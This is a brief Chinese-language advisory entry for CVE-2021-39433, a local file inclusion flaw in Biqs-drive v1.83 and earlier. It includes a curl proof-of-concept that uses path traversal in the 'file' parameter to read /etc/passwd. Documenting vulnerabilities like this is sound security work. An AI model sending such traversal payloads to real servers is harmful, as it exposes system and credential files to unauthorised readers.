CVE-2021-39433

CVE-2021-39433 存在一个本地文件包含（LFI）漏洞，影响版本 BIQS IT Biqs-drive v1.83 及更早版本。当向 download/index.php 的 file 参数发送特定 payload 时，攻击者能够以配置的 Web 用户权限读取服务器上的任意文件。 curl https://TARGET/download/index.php?file=../../../../../../../../../etc/passwd...